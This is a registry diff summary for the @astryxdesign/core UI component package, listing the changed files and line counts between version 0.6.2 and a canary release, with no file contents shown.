@astryxdesign/core 0.6.2 → 0.6.3-canary.0899f21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +81 -0
- package/dist/BottomSheet/BottomSheet.d.ts +1 -1
- package/dist/BottomSheet/BottomSheet.d.ts.map +1 -1
- package/dist/BottomSheet/BottomSheet.js +3 -1
- package/dist/BottomSheet/BottomSheetPanel.d.ts +7 -5
- package/dist/BottomSheet/BottomSheetPanel.d.ts.map +1 -1
- package/dist/BottomSheet/BottomSheetPanel.js +56 -19
- package/dist/Button/Button.d.ts.map +1 -1
- package/dist/Button/Button.js +13 -28
- package/dist/Chat/ChatComposer.d.ts.map +1 -1
- package/dist/Chat/ChatComposer.js +10 -5
- package/dist/Chat/ChatComposerDrawer.d.ts +19 -5
- package/dist/Chat/ChatComposerDrawer.d.ts.map +1 -1
- package/dist/Chat/ChatComposerDrawer.js +48 -23
- package/dist/Chat/ChatComposerInput.d.ts +11 -3
- package/dist/Chat/ChatComposerInput.d.ts.map +1 -1
- package/dist/Chat/ChatComposerInput.js +63 -16
- package/dist/Chat/ChatDictationButton.d.ts +3 -2
- package/dist/Chat/ChatDictationButton.d.ts.map +1 -1
- package/dist/Chat/ChatDictationButton.js +6 -4
- package/dist/Chat/ChatLayout.d.ts +19 -0
- package/dist/Chat/ChatLayout.d.ts.map +1 -1
- package/dist/Chat/ChatLayout.js +19 -0
- package/dist/Chat/ChatLayoutScrollButton.d.ts.map +1 -1
- package/dist/Chat/ChatLayoutScrollButton.js +44 -34
- package/dist/Chat/ChatMessageBubble.d.ts +2 -0
- package/dist/Chat/ChatMessageBubble.d.ts.map +1 -1
- package/dist/Chat/ChatMessageBubble.js +5 -3
- package/dist/Chat/ChatMessageList.d.ts +2 -1
- package/dist/Chat/ChatMessageList.d.ts.map +1 -1
- package/dist/Chat/ChatMessageList.js +4 -3
- package/dist/Chat/ChatMessageMetadata.d.ts +5 -4
- package/dist/Chat/ChatMessageMetadata.d.ts.map +1 -1
- package/dist/Chat/ChatMessageMetadata.js +12 -9
- package/dist/Chat/ChatSendButton.js +1 -1
- package/dist/Chat/index.d.ts +1 -1
- package/dist/Chat/index.d.ts.map +1 -1
- package/dist/CheckboxInput/CheckboxInput.d.ts.map +1 -1
- package/dist/CheckboxInput/CheckboxInput.js +12 -2
- package/dist/Citation/Citation.d.ts +1 -1
- package/dist/Citation/Citation.d.ts.map +1 -1
- package/dist/Citation/Citation.js +3 -2
- package/dist/CodeBlock/highlightRanges.d.ts.map +1 -1
- package/dist/CodeBlock/highlightRanges.js +14 -3
- package/dist/Collapsible/Collapsible.d.ts.map +1 -1
- package/dist/Collapsible/Collapsible.js +6 -1
- package/dist/CommandPalette/CommandPaletteInput.d.ts.map +1 -1
- package/dist/CommandPalette/CommandPaletteInput.js +1 -1
- package/dist/ComplexSelector/ComplexSelector.d.ts.map +1 -1
- package/dist/ComplexSelector/ComplexSelector.js +1 -1
- package/dist/DateInput/DateInput.d.ts.map +1 -1
- package/dist/DateInput/DateInput.js +4 -4
- package/dist/DateInput/NativeDateField.d.ts.map +1 -1
- package/dist/DateInput/NativeDateField.js +16 -16
- package/dist/DateInput/TouchDateField.d.ts.map +1 -1
- package/dist/DateInput/TouchDateField.js +2 -2
- package/dist/DateRangeInput/DateRangeInput.d.ts.map +1 -1
- package/dist/DateRangeInput/DateRangeInput.js +4 -4
- package/dist/DateTimeInput/DateTimeInput.d.ts.map +1 -1
- package/dist/DateTimeInput/DateTimeInput.js +8 -8
- package/dist/DateTimeInput/TouchDateTimeField.d.ts.map +1 -1
- package/dist/DateTimeInput/TouchDateTimeField.js +4 -4
- package/dist/DateTimeInput/nativePickerSegmentStyles.d.ts +9 -3
- package/dist/DateTimeInput/nativePickerSegmentStyles.d.ts.map +1 -1
- package/dist/DateTimeInput/nativePickerSegmentStyles.js +3 -3
- package/dist/Dialog/DialogHeader.d.ts +8 -1
- package/dist/Dialog/DialogHeader.d.ts.map +1 -1
- package/dist/Dialog/DialogHeader.js +13 -4
- package/dist/Field/InputClearButton.d.ts +4 -2
- package/dist/Field/InputClearButton.d.ts.map +1 -1
- package/dist/Field/InputClearButton.js +4 -2
- package/dist/Field/PanelSearchInput.d.ts.map +1 -1
- package/dist/Field/PanelSearchInput.js +1 -1
- package/dist/FileInput/FileInput.d.ts.map +1 -1
- package/dist/FileInput/FileInput.js +7 -7
- package/dist/Icon/Icon.d.ts +6 -31
- package/dist/Icon/Icon.d.ts.map +1 -1
- package/dist/Icon/Icon.js +8 -71
- package/dist/Icon/IconDefaultSizeContext.d.ts +4 -0
- package/dist/Icon/IconDefaultSizeContext.d.ts.map +1 -0
- package/dist/Icon/IconDefaultSizeContext.js +18 -0
- package/dist/Icon/IconSize.stylex.d.ts +65 -0
- package/dist/Icon/IconSize.stylex.d.ts.map +1 -0
- package/dist/Icon/IconSize.stylex.js +75 -0
- package/dist/Item/Item.d.ts +1 -1
- package/dist/Item/Item.d.ts.map +1 -1
- package/dist/Item/Item.js +4 -3
- package/dist/Kbd/Kbd.d.ts +5 -3
- package/dist/Kbd/Kbd.d.ts.map +1 -1
- package/dist/Kbd/Kbd.js +36 -42
- package/dist/Link/Link.d.ts.map +1 -1
- package/dist/Link/Link.js +6 -2
- package/dist/Link/useLinkComponent.d.ts +5 -15
- package/dist/Link/useLinkComponent.d.ts.map +1 -1
- package/dist/Link/useLinkComponent.js +34 -51
- package/dist/List/List.d.ts +19 -1
- package/dist/List/List.d.ts.map +1 -1
- package/dist/List/List.js +9 -2
- package/dist/List/ListContext.d.ts +1 -0
- package/dist/List/ListContext.d.ts.map +1 -1
- package/dist/List/ListContext.js +2 -1
- package/dist/List/ListItem.d.ts +1 -1
- package/dist/List/ListItem.d.ts.map +1 -1
- package/dist/List/ListItem.js +9 -2
- package/dist/Markdown/Markdown.d.ts +8 -2
- package/dist/Markdown/Markdown.d.ts.map +1 -1
- package/dist/Markdown/Markdown.fr23.bench.d.ts +2 -0
- package/dist/Markdown/Markdown.fr23.bench.d.ts.map +1 -0
- package/dist/Markdown/Markdown.fr23.bench.js +150 -0
- package/dist/Markdown/Markdown.fr23.sampling.d.ts +2 -0
- package/dist/Markdown/Markdown.fr23.sampling.d.ts.map +1 -0
- package/dist/Markdown/Markdown.fr23.sampling.js +43 -0
- package/dist/Markdown/Markdown.js +262 -109
- package/dist/Markdown/ast.d.ts +162 -0
- package/dist/Markdown/ast.d.ts.map +1 -0
- package/dist/Markdown/ast.js +74 -0
- package/dist/Markdown/index.d.ts +5 -3
- package/dist/Markdown/index.d.ts.map +1 -1
- package/dist/Markdown/index.js +3 -2
- package/dist/Markdown/parser/index.d.ts +10 -0
- package/dist/Markdown/parser/index.d.ts.map +1 -0
- package/dist/Markdown/parser/index.js +10 -0
- package/dist/Markdown/parser.d.ts +126 -58
- package/dist/Markdown/parser.d.ts.map +1 -1
- package/dist/Markdown/parser.js +716 -167
- package/dist/Markdown/plugins/frontmatter.d.ts +32 -0
- package/dist/Markdown/plugins/frontmatter.d.ts.map +1 -0
- package/dist/Markdown/plugins/frontmatter.js +132 -0
- package/dist/Markdown/plugins/index.d.ts +17 -0
- package/dist/Markdown/plugins/index.d.ts.map +1 -0
- package/dist/Markdown/plugins/index.js +14 -0
- package/dist/Markdown/plugins/protocol.d.ts +191 -0
- package/dist/Markdown/plugins/protocol.d.ts.map +1 -0
- package/dist/Markdown/plugins/protocol.js +957 -0
- package/dist/Markdown/plugins/semanticFence.d.ts +36 -0
- package/dist/Markdown/plugins/semanticFence.d.ts.map +1 -0
- package/dist/Markdown/plugins/semanticFence.js +213 -0
- package/dist/Markdown/plugins/softBreaks.d.ts +3 -0
- package/dist/Markdown/plugins/softBreaks.d.ts.map +1 -0
- package/dist/Markdown/plugins/softBreaks.js +172 -0
- package/dist/Markdown/plugins/sourceDecoration.d.ts +76 -0
- package/dist/Markdown/plugins/sourceDecoration.d.ts.map +1 -0
- package/dist/Markdown/plugins/sourceDecoration.js +393 -0
- package/dist/Markdown/plugins/textTransform.d.ts +30 -0
- package/dist/Markdown/plugins/textTransform.d.ts.map +1 -0
- package/dist/Markdown/plugins/textTransform.js +374 -0
- package/dist/Markdown/remark.d.ts +196 -0
- package/dist/Markdown/remark.d.ts.map +1 -0
- package/dist/Markdown/remark.js +1062 -0
- package/dist/Markdown/url.d.ts +6 -0
- package/dist/Markdown/url.d.ts.map +1 -0
- package/dist/Markdown/url.js +31 -0
- package/dist/Markdown/utils.d.ts +4 -2
- package/dist/Markdown/utils.d.ts.map +1 -1
- package/dist/Markdown/utils.js +2 -1
- package/dist/MetadataList/MetadataList.js +3 -3
- package/dist/NumberInput/NumberInput.d.ts.map +1 -1
- package/dist/NumberInput/NumberInput.js +4 -4
- package/dist/Outline/index.d.ts +1 -0
- package/dist/Outline/index.d.ts.map +1 -1
- package/dist/Outline/parseOutlineFromMarkdown.d.ts +7 -1
- package/dist/Outline/parseOutlineFromMarkdown.d.ts.map +1 -1
- package/dist/Outline/parseOutlineFromMarkdown.js +14 -8
- package/dist/Outline/useOutlineFromMarkdown.d.ts +3 -1
- package/dist/Outline/useOutlineFromMarkdown.d.ts.map +1 -1
- package/dist/Outline/useOutlineFromMarkdown.js +8 -3
- package/dist/PowerSearch/PowerSearchEditPopover.d.ts.map +1 -1
- package/dist/PowerSearch/PowerSearchEditPopover.js +46 -30
- package/dist/PowerSearch/PowerSearchValueEditor.d.ts.map +1 -1
- package/dist/PowerSearch/PowerSearchValueEditor.js +5 -0
- package/dist/ProgressBar/ProgressBar.d.ts.map +1 -1
- package/dist/ProgressBar/ProgressBar.js +36 -31
- package/dist/RadioList/RadioListItem.d.ts.map +1 -1
- package/dist/RadioList/RadioListItem.js +13 -1
- package/dist/ScrollableArea/ScrollableArea.d.ts +1 -0
- package/dist/ScrollableArea/ScrollableArea.d.ts.map +1 -1
- package/dist/ScrollableArea/ScrollableArea.js +1 -0
- package/dist/SegmentedControl/SegmentedControlItem.d.ts.map +1 -1
- package/dist/SegmentedControl/SegmentedControlItem.js +5 -5
- package/dist/Selector/Selector.d.ts +9 -7
- package/dist/Selector/Selector.d.ts.map +1 -1
- package/dist/Selector/Selector.js +16 -7
- package/dist/SideNav/SideNav.d.ts +2 -1
- package/dist/SideNav/SideNav.d.ts.map +1 -1
- package/dist/SideNav/SideNav.js +9 -3
- package/dist/Slider/Slider.d.ts.map +1 -1
- package/dist/Slider/Slider.js +28 -12
- package/dist/Spinner/Spinner.d.ts.map +1 -1
- package/dist/Spinner/Spinner.js +23 -7
- package/dist/Switch/Switch.d.ts.map +1 -1
- package/dist/Switch/Switch.js +11 -0
- package/dist/TabList/Tab.d.ts +1 -1
- package/dist/TabList/Tab.d.ts.map +1 -1
- package/dist/TabList/Tab.js +20 -7
- package/dist/Table/Table.d.ts +1 -0
- package/dist/Table/Table.d.ts.map +1 -1
- package/dist/Table/Table.js +29 -13
- package/dist/TextArea/TextArea.d.ts.map +1 -1
- package/dist/TextArea/TextArea.js +1 -1
- package/dist/TextInput/TextInput.d.ts.map +1 -1
- package/dist/TextInput/TextInput.js +2 -2
- package/dist/TimeInput/TimeInput.d.ts.map +1 -1
- package/dist/TimeInput/TimeInput.js +4 -4
- package/dist/Timer/Timer.d.ts +49 -0
- package/dist/Timer/Timer.d.ts.map +1 -0
- package/dist/Timer/Timer.js +158 -0
- package/dist/Timer/index.d.ts +9 -0
- package/dist/Timer/index.d.ts.map +1 -0
- package/dist/Timer/index.js +10 -0
- package/dist/ToggleButton/ToggleButton.d.ts +9 -6
- package/dist/ToggleButton/ToggleButton.d.ts.map +1 -1
- package/dist/ToggleButton/ToggleButton.js +15 -27
- package/dist/TopNav/TopNavMenu.d.ts +1 -1
- package/dist/TopNav/TopNavMenu.d.ts.map +1 -1
- package/dist/TopNav/TopNavMenu.js +3 -2
- package/dist/TreeList/TreeList.d.ts.map +1 -1
- package/dist/TreeList/TreeList.js +3 -0
- package/dist/TreeList/TreeListItem.d.ts +6 -1
- package/dist/TreeList/TreeListItem.d.ts.map +1 -1
- package/dist/TreeList/TreeListItem.js +12 -2
- package/dist/TreeList/TreeListTypes.d.ts +8 -1
- package/dist/TreeList/TreeListTypes.d.ts.map +1 -1
- package/dist/Typeahead/BaseTypeahead.d.ts.map +1 -1
- package/dist/Typeahead/BaseTypeahead.js +16 -7
- package/dist/astryx.css +27 -11
- package/dist/hooks/scrollKeyboardDelegation.d.ts +3 -0
- package/dist/hooks/scrollKeyboardDelegation.d.ts.map +1 -0
- package/dist/hooks/scrollKeyboardDelegation.js +146 -0
- package/dist/hooks/useClickableContainer.d.ts +10 -1
- package/dist/hooks/useClickableContainer.d.ts.map +1 -1
- package/dist/hooks/useClickableContainer.js +15 -4
- package/dist/hooks/useScrollableArea.d.ts +6 -2
- package/dist/hooks/useScrollableArea.d.ts.map +1 -1
- package/dist/hooks/useScrollableArea.js +17 -5
- package/dist/index.d.ts +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +3 -0
- package/dist/theme/declarationBoundary.d.ts +17 -0
- package/dist/theme/declarationBoundary.d.ts.map +1 -0
- package/dist/theme/declarationBoundary.js +343 -0
- package/dist/theme/derivedVarRegistry.d.ts.map +1 -1
- package/dist/theme/derivedVarRegistry.js +4 -0
- package/dist/theme/generateThemeRules.d.ts +13 -7
- package/dist/theme/generateThemeRules.d.ts.map +1 -1
- package/dist/theme/generateThemeRules.js +140 -34
- package/dist/utils/interactionOverlay.stylex.d.ts +8 -0
- package/dist/utils/interactionOverlay.stylex.d.ts.map +1 -1
- package/dist/utils/interactionOverlay.stylex.js +9 -0
- package/dist/utils/safeUrl.d.ts +11 -0
- package/dist/utils/safeUrl.d.ts.map +1 -0
- package/dist/utils/safeUrl.js +78 -0
- package/locales/af-ZA.json +530 -1
- package/locales/ar-SA.json +490 -1
- package/locales/ca-ES.json +514 -1
- package/locales/cs-CZ.json +498 -1
- package/locales/da-DK.json +522 -1
- package/locales/de-DE.json +522 -1
- package/locales/el-GR.json +498 -1
- package/locales/es-ES.json +510 -1
- package/locales/fi-FI.json +498 -1
- package/locales/fr-FR.json +534 -1
- package/locales/he-IL.json +498 -1
- package/locales/hu-HU.json +498 -1
- package/locales/it-IT.json +510 -1
- package/locales/ja-JP.json +490 -1
- package/locales/ko-KR.json +498 -1
- package/locales/nl-NL.json +534 -1
- package/locales/no-NO.json +510 -1
- package/locales/pl-PL.json +506 -1
- package/locales/pt-BR.json +506 -1
- package/locales/pt-PT.json +506 -1
- package/locales/ro-RO.json +506 -1
- package/locales/ru-RU.json +498 -1
- package/locales/sr-SP.json +498 -1
- package/locales/sv-SE.json +502 -1
- package/locales/tr-TR.json +498 -1
- package/locales/uk-UA.json +498 -1
- package/locales/vi-VN.json +502 -1
- package/locales/zh-CN.json +490 -1
- package/locales/zh-TW.json +490 -1
- package/package.json +24 -4
- package/src/BottomSheet/BottomSheet.doc.mjs +8 -1
- package/src/BottomSheet/BottomSheet.spec.md +46 -20
- package/src/BottomSheet/BottomSheet.test.tsx +6 -3
- package/src/BottomSheet/BottomSheet.tsx +3 -1
- package/src/BottomSheet/BottomSheetKeyboard.test.tsx +195 -0
- package/src/BottomSheet/BottomSheetPanel.test.tsx +11 -1
- package/src/BottomSheet/BottomSheetPanel.tsx +49 -16
- package/src/BottomSheet/__tests__/BottomSheetKeyboard.a11y.browser.spec.ts +344 -0
- package/src/Button/Button.doc.mjs +5 -5
- package/src/Button/Button.tsx +15 -13
- package/src/Button/__tests__/Button.a11y.chromium.spec.ts +17 -1
- package/src/Button/__tests__/Button.a11y.known-failures.ts +0 -29
- package/src/Button/__tests__/Button.a11y.renders.tsx +9 -2
- package/src/Button/__tests__/Button.a11y.states.ts +9 -0
- package/src/Chat/ChatComposer.doc.mjs +14 -0
- package/src/Chat/ChatComposer.spec.md +230 -0
- package/src/Chat/ChatComposer.test.tsx +57 -0
- package/src/Chat/ChatComposer.tsx +21 -9
- package/src/Chat/ChatComposerDrawer.doc.mjs +63 -5
- package/src/Chat/ChatComposerDrawer.spec.md +267 -0
- package/src/Chat/ChatComposerDrawer.test.tsx +81 -12
- package/src/Chat/ChatComposerDrawer.tsx +38 -9
- package/src/Chat/ChatComposerInput.doc.mjs +114 -26
- package/src/Chat/ChatComposerInput.spec.md +185 -0
- package/src/Chat/ChatComposerInput.test.tsx +113 -3
- package/src/Chat/ChatComposerInput.tsx +78 -13
- package/src/Chat/ChatComposerTokenElement.spec.md +152 -0
- package/src/Chat/ChatComposerTokenElement.test.tsx +85 -0
- package/src/Chat/ChatDictationButton.doc.mjs +3 -3
- package/src/Chat/ChatDictationButton.spec.md +160 -0
- package/src/Chat/ChatDictationButton.test.tsx +92 -27
- package/src/Chat/ChatDictationButton.tsx +8 -6
- package/src/Chat/ChatLayout.doc.mjs +12 -4
- package/src/Chat/ChatLayout.spec.md +271 -0
- package/src/Chat/ChatLayout.test.tsx +28 -0
- package/src/Chat/ChatLayout.tsx +19 -0
- package/src/Chat/ChatLayoutScrollButton.spec.md +338 -0
- package/src/Chat/ChatLayoutScrollButton.test.tsx +31 -0
- package/src/Chat/ChatLayoutScrollButton.tsx +31 -14
- package/src/Chat/ChatMessageBubble.doc.mjs +28 -15
- package/src/Chat/ChatMessageBubble.spec.md +263 -0
- package/src/Chat/ChatMessageBubble.test.tsx +93 -0
- package/src/Chat/ChatMessageBubble.tsx +8 -3
- package/src/Chat/ChatMessageList.spec.md +222 -0
- package/src/Chat/ChatMessageList.test.tsx +64 -2
- package/src/Chat/ChatMessageList.tsx +4 -3
- package/src/Chat/ChatMessageMetadata.doc.mjs +57 -3
- package/src/Chat/ChatMessageMetadata.spec.md +220 -0
- package/src/Chat/ChatMessageMetadata.test.tsx +34 -0
- package/src/Chat/ChatMessageMetadata.tsx +13 -13
- package/src/Chat/ChatSendButton.test.tsx +1 -4
- package/src/Chat/ChatSendButton.tsx +1 -1
- package/src/Chat/__tests__/ChatLayoutScrollButton.a11y.chromium.spec.ts +514 -0
- package/src/Chat/__tests__/ChatLayoutScrollButtonSurface.a11y.chromium.spec.ts +740 -0
- package/src/Chat/__tests__/ChatMessageBubble.a11y.chromium.spec.ts +457 -0
- package/src/Chat/__tests__/ChatMessageBubble.auditProvenance.test.ts +91 -0
- package/src/Chat/__tests__/ChatMessageBubble.auditProvenance.ts +91 -0
- package/src/Chat/__tests__/ChatMessageList.a11y.chromium.spec.ts +456 -0
- package/src/Chat/__tests__/ChatMessageMetadata.a11y.chromium.spec.ts +413 -0
- package/src/Chat/index.ts +1 -0
- package/src/CheckboxInput/CheckboxInput.doc.mjs +11 -0
- package/src/CheckboxInput/CheckboxInput.test.tsx +34 -0
- package/src/CheckboxInput/CheckboxInput.tsx +21 -1
- package/src/Citation/Citation.doc.mjs +2 -2
- package/src/Citation/Citation.test.tsx +17 -0
- package/src/Citation/Citation.tsx +4 -2
- package/src/ClickableCard/ClickableCard.doc.mjs +2 -2
- package/src/ClickableCard/ClickableCard.test.tsx +102 -5
- package/src/CodeBlock/highlightRanges.test.ts +143 -1
- package/src/CodeBlock/highlightRanges.ts +15 -5
- package/src/Collapsible/Collapsible.doc.mjs +11 -0
- package/src/Collapsible/Collapsible.test.tsx +21 -0
- package/src/Collapsible/Collapsible.tsx +5 -0
- package/src/CommandPalette/CommandPaletteInput.tsx +6 -1
- package/src/ComplexSelector/ComplexSelector.tsx +6 -1
- package/src/DateInput/DateInput.tsx +6 -1
- package/src/DateInput/NativeDateField.tsx +24 -8
- package/src/DateInput/TouchDateField.tsx +6 -2
- package/src/DateRangeInput/DateRangeInput.tsx +6 -1
- package/src/DateTimeInput/DateTimeInput.tsx +6 -1
- package/src/DateTimeInput/TouchDateTimeField.tsx +6 -1
- package/src/DateTimeInput/nativePickerSegmentStyles.ts +24 -8
- package/src/Dialog/Dialog.doc.mjs +2 -0
- package/src/Dialog/DialogHeader.doc.mjs +22 -0
- package/src/Dialog/DialogHeader.test.tsx +167 -3
- package/src/Dialog/DialogHeader.tsx +37 -6
- package/src/Dialog/modules/DialogHeader.spec.md +101 -42
- package/src/DropdownMenu/DropdownMenu.test.tsx +5 -2
- package/src/Field/InputClearButton.test.tsx +17 -3
- package/src/Field/InputClearButton.tsx +5 -2
- package/src/Field/PanelSearchInput.tsx +5 -2
- package/src/FieldStatus/__tests__/StatusMessage.a11y.states.ts +1 -1
- package/src/FileInput/FileInput.tsx +11 -2
- package/src/Icon/Icon.doc.mjs +7 -5
- package/src/Icon/Icon.spec.md +81 -40
- package/src/Icon/Icon.test.tsx +6 -3
- package/src/Icon/Icon.tsx +20 -68
- package/src/Icon/IconDefaultSizeContext.ts +23 -0
- package/src/Icon/IconSize.stylex.ts +70 -0
- package/src/IconButton/IconButton.doc.mjs +3 -3
- package/src/IconButton/IconButton.test.tsx +40 -0
- package/src/Item/Item.doc.mjs +6 -2
- package/src/Item/Item.tsx +9 -3
- package/src/Kbd/Kbd.doc.mjs +3 -3
- package/src/Kbd/Kbd.test.tsx +57 -1
- package/src/Kbd/Kbd.tsx +57 -37
- package/src/Layout/LayoutFooter.doc.mjs +17 -0
- package/src/Link/Link.doc.mjs +17 -4
- package/src/Link/Link.test.tsx +24 -0
- package/src/Link/Link.tsx +5 -0
- package/src/Link/LinkProvider.doc.mjs +2 -2
- package/src/Link/__tests__/Link.navigation.a11y.chromium.spec.ts +261 -0
- package/src/Link/useLinkComponent.test.tsx +333 -0
- package/src/Link/useLinkComponent.ts +29 -57
- package/src/List/List.doc.mjs +6 -0
- package/src/List/List.spec.md +200 -0
- package/src/List/List.test.tsx +117 -1
- package/src/List/List.tsx +22 -2
- package/src/List/ListContext.tsx +3 -1
- package/src/List/ListItem.doc.mjs +2 -2
- package/src/List/ListItem.source-build.test.mjs +41 -0
- package/src/List/ListItem.tsx +26 -2
- package/src/Markdown/Markdown.doc.mjs +300 -2
- package/src/Markdown/Markdown.fr23.bench.ts +174 -0
- package/src/Markdown/Markdown.fr23.perf.test.ts +249 -0
- package/src/Markdown/Markdown.fr23.sampling.ts +49 -0
- package/src/Markdown/Markdown.helpers.perf.test.ts +489 -0
- package/src/Markdown/Markdown.public.test.ts +130 -3
- package/src/Markdown/Markdown.renderBoundary.test.tsx +72 -0
- package/src/Markdown/Markdown.spec.md +203 -45
- package/src/Markdown/Markdown.test.tsx +63 -0
- package/src/Markdown/Markdown.tsx +414 -135
- package/src/Markdown/ast.test.ts +307 -0
- package/src/Markdown/ast.ts +337 -0
- package/src/Markdown/incremental.test.ts +12 -0
- package/src/Markdown/index.ts +37 -1
- package/src/Markdown/modules/remark.spec.md +269 -0
- package/src/Markdown/modules/softBreaks.spec.md +137 -0
- package/src/Markdown/parser/index.ts +64 -0
- package/src/Markdown/parser.public.test.ts +103 -0
- package/src/Markdown/parser.test.ts +20 -0
- package/src/Markdown/parser.ts +1180 -235
- package/src/Markdown/plugins/frontmatter.test.tsx +125 -0
- package/src/Markdown/plugins/frontmatter.ts +198 -0
- package/src/Markdown/plugins/index.ts +54 -0
- package/src/Markdown/plugins/protocol.test.tsx +1022 -0
- package/src/Markdown/plugins/protocol.ts +1618 -0
- package/src/Markdown/plugins/semanticFence.test.tsx +546 -0
- package/src/Markdown/plugins/semanticFence.ts +424 -0
- package/src/Markdown/plugins/softBreaks.test.tsx +172 -0
- package/src/Markdown/plugins/softBreaks.ts +169 -0
- package/src/Markdown/plugins/sourceDecoration.test.tsx +799 -0
- package/src/Markdown/plugins/sourceDecoration.ts +539 -0
- package/src/Markdown/plugins/textTransform.test.ts +467 -0
- package/src/Markdown/plugins/textTransform.ts +554 -0
- package/src/Markdown/remark.test.tsx +1877 -0
- package/src/Markdown/remark.ts +1574 -0
- package/src/Markdown/url.ts +36 -0
- package/src/Markdown/utils.ts +13 -1
- package/src/MetadataList/MetadataList.test.tsx +4 -2
- package/src/MetadataList/MetadataList.tsx +3 -3
- package/src/MultiSelector/MultiSelector.test.tsx +1 -35
- package/src/MultiSelector/__tests__/MultiSelector.listbox.a11y.test.tsx +128 -0
- package/src/NumberInput/NumberInput.tsx +6 -1
- package/src/Outline/Outline.doc.mjs +7 -5
- package/src/Outline/Outline.spec.md +1 -1
- package/src/Outline/index.ts +1 -0
- package/src/Outline/modules/parseOutlineFromMarkdown.spec.md +142 -0
- package/src/Outline/parseOutlineFromMarkdown.ts +40 -10
- package/src/Outline/useOutlineFromMarkdown.ts +15 -3
- package/src/PowerSearch/PowerSearch.doc.mjs +2 -2
- package/src/PowerSearch/PowerSearchEditPopover.test.tsx +150 -1
- package/src/PowerSearch/PowerSearchEditPopover.tsx +51 -28
- package/src/PowerSearch/PowerSearchValueEditor.test.tsx +51 -0
- package/src/PowerSearch/PowerSearchValueEditor.tsx +4 -0
- package/src/ProgressBar/ProgressBar.test.tsx +29 -11
- package/src/ProgressBar/ProgressBar.tsx +59 -72
- package/src/RadioList/RadioList.doc.mjs +11 -0
- package/src/RadioList/RadioList.test.tsx +32 -0
- package/src/RadioList/RadioListItem.tsx +25 -1
- package/src/ScrollableArea/ScrollableArea.tsx +1 -0
- package/src/ScrollableArea/modules/useScrollableArea.spec.md +50 -22
- package/src/SegmentedControl/SegmentedControl.doc.mjs +2 -2
- package/src/SegmentedControl/SegmentedControl.test.tsx +31 -0
- package/src/SegmentedControl/SegmentedControlItem.tsx +6 -9
- package/src/Selector/Selector.doc.mjs +2 -2
- package/src/Selector/Selector.spec.md +51 -49
- package/src/Selector/Selector.test.tsx +61 -55
- package/src/Selector/Selector.tsx +34 -15
- package/src/Selector/__tests__/Listbox.a11y.chromium.spec.ts +130 -0
- package/src/Selector/__tests__/Listbox.a11y.dom.ts +38 -0
- package/src/Selector/__tests__/Listbox.a11y.inventory.test.ts +63 -0
- package/src/Selector/__tests__/Listbox.a11y.known-failures.ts +37 -0
- package/src/Selector/__tests__/Listbox.a11y.states.ts +232 -0
- package/src/Selector/__tests__/Selector.a11y.chromium.spec.ts +45 -0
- package/src/Selector/__tests__/Selector.listbox.a11y.test.tsx +121 -0
- package/src/SideNav/SideNav.doc.mjs +1 -1
- package/src/SideNav/SideNav.test.tsx +10 -0
- package/src/SideNav/SideNav.tsx +14 -2
- package/src/Slider/Slider.doc.mjs +17 -3
- package/src/Slider/Slider.test.tsx +221 -0
- package/src/Slider/Slider.tsx +40 -9
- package/src/Spinner/Spinner.test.tsx +4 -0
- package/src/Spinner/Spinner.tsx +31 -18
- package/src/Switch/Switch.doc.mjs +11 -0
- package/src/Switch/Switch.test.tsx +16 -0
- package/src/Switch/Switch.tsx +28 -0
- package/src/TabList/Tab.tsx +35 -7
- package/src/TabList/TabList.doc.mjs +11 -0
- package/src/TabList/TabList.spec.md +204 -0
- package/src/TabList/TabList.test.tsx +66 -0
- package/src/TabList/__tests__/Tabs.a11y.known-failures.ts +1 -34
- package/src/Table/Table.doc.mjs +1 -1
- package/src/Table/Table.spec.md +54 -40
- package/src/Table/Table.test.tsx +83 -10
- package/src/Table/Table.tsx +30 -22
- package/src/Table/__tests__/TableScroll.a11y.chromium.spec.ts +137 -0
- package/src/TextArea/TextArea.tsx +6 -1
- package/src/TextInput/TextInput.test.tsx +20 -1
- package/src/TextInput/TextInput.tsx +6 -1
- package/src/TimeInput/TimeInput.tsx +6 -1
- package/src/Timer/Timer.doc.mjs +183 -0
- package/src/Timer/Timer.spec.md +215 -0
- package/src/Timer/Timer.test.tsx +302 -0
- package/src/Timer/Timer.tsx +258 -0
- package/src/Timer/index.ts +11 -0
- package/src/ToggleButton/ToggleButton.doc.mjs +3 -3
- package/src/ToggleButton/ToggleButton.test.tsx +299 -4
- package/src/ToggleButton/ToggleButton.tsx +26 -33
- package/src/ToggleButton/ToggleButtonGroup.doc.mjs +3 -3
- package/src/ToggleButton/__tests__/ToggleButton.a11y.chromium.spec.ts +209 -0
- package/src/Token/Token.doc.mjs +2 -2
- package/src/Tokenizer/Tokenizer.spec.md +142 -75
- package/src/TopNav/TopNavMenu.doc.mjs +2 -2
- package/src/TopNav/TopNavMenu.test.tsx +30 -0
- package/src/TopNav/TopNavMenu.tsx +7 -2
- package/src/TreeList/TreeList.doc.mjs +3 -3
- package/src/TreeList/TreeList.spec.md +123 -75
- package/src/TreeList/TreeList.test.tsx +29 -0
- package/src/TreeList/TreeList.tsx +3 -0
- package/src/TreeList/TreeListItem.tsx +15 -1
- package/src/TreeList/TreeListTypes.ts +11 -1
- package/src/Typeahead/BaseTypeahead.spec.md +4 -3
- package/src/Typeahead/BaseTypeahead.tsx +21 -7
- package/src/Typeahead/Typeahead.test.tsx +53 -0
- package/src/__tests__/PressedState.a11y.chromium.spec.ts +813 -0
- package/src/__tests__/pressState.ts +93 -0
- package/src/hooks/scrollKeyboardDelegation.test.ts +155 -0
- package/src/hooks/scrollKeyboardDelegation.ts +233 -0
- package/src/hooks/useClickableContainer.test.tsx +236 -0
- package/src/hooks/useClickableContainer.ts +20 -4
- package/src/hooks/useScrollableArea.doc.mjs +15 -3
- package/src/hooks/useScrollableArea.test.tsx +59 -1
- package/src/hooks/useScrollableArea.ts +34 -10
- package/src/index.ts +3 -0
- package/src/inputFontFloor.test.ts +106 -0
- package/src/tailwind-theme.css +0 -6
- package/src/theme/Theme.test.tsx +32 -0
- package/src/theme/declarationBoundary.test.ts +126 -0
- package/src/theme/declarationBoundary.ts +347 -0
- package/src/theme/derivedVarRegistry.test.ts +7 -0
- package/src/theme/derivedVarRegistry.ts +1 -0
- package/src/theme/generateThemeRules.test.ts +526 -1
- package/src/theme/generateThemeRules.ts +228 -50
- package/src/theme/tokenValueCompat.test.ts +4 -1
- package/src/utils/interactionOverlay.stylex.ts +20 -0
- package/src/utils/safeUrl.test.ts +88 -0
